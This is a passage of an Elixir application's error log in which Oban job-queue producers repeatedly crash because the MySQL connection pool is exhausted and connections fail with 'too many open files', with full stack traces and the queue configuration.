#Reference<0.2525715032.1099431938.2085>, refresh_timer: #Reference<0.2525715032.1121189889.107075>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:06:06.242085Z], limit: 3, uuid: "833f016a-291c-4161-9d8f-ff9ef1bdfb33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:06.242092Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2083>, refresh_timer: #Reference<0.2525715032.1077411843.236274>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:06:06.243622Z], limit: 5, uuid: "c48d1d74-b356-4fde-bfa7-331537158ef2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:06.243628Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2084>, refresh_timer: #Reference<0.2525715032.1068236804.252363>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:06:06.242235Z], limit: 50, uuid: "ba160067-6f5e-4847-8966-587fc02be4bd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:06.242240Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2082>, refresh_timer: #Reference<0.2525715032.1077411843.236282>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:06:06.239928Z], limit: 20, uuid: "698c4260-025e-4f78-9f2e-6d0883a826d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:06.239934Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2081>, refresh_timer: #Reference<0.2525715032.1077411843.236249>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 876ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:06:06.242919Z], limit: 10, uuid: "8a19f268-150e-4151-a66f-f18619312631", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:06.242924Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2080>, refresh_timer: #Reference<0.2525715032.1099431938.2061>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:18.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:20.633000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:22.888000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1686.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 23:06:25.867000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:06:30.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:06:18.242945Z], limit: 10, uuid: "a2a6eafd-5c72-4877-8e94-dccc522786d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:18.242951Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107152>, refresh_timer: #Reference<0.2525715032.1077411843.236397>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:06:18.240082Z], limit: 50, uuid: "c8f1dc67-403b-4461-b563-f353eafeb186", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:18.240088Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107153>, refresh_timer: #Reference<0.2525715032.1077411843.236361>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:30.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:06:18.239691Z], limit: 5, uuid: "0d9421ce-1fc5-4eda-8aca-a7a44712af91", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:18.239697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.2472>, refresh_timer: #Reference<0.2525715032.1077411843.236350>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:06:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
